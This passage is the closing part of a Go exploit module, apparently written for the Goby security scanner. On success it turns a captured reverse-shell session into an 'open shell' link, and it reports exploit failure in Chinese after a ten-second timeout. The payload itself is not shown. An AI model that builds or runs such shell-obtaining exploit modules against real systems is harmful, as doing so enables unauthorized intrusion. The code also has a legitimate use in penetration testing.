				select {
				case webConsoleID := <-waitSessionCh:
					if u, err := url.Parse(webConsoleID); err == nil {
						expResult.Success = true
						expResult.OutputType = "html"
						sid := strings.Join(u.Query()["id"], "")
						expResult.Output = `<br/> <a href="goby://sessions/view?sid=` + sid + `&key=` + godclient.GetKey() + `">open shell</a>`
					}
				case <-time.After(time.Second * 10):
					expResult.Success = false
					expResult.Output = `漏洞利用失败`
				}
			}
			return expResult
		},
	))
}
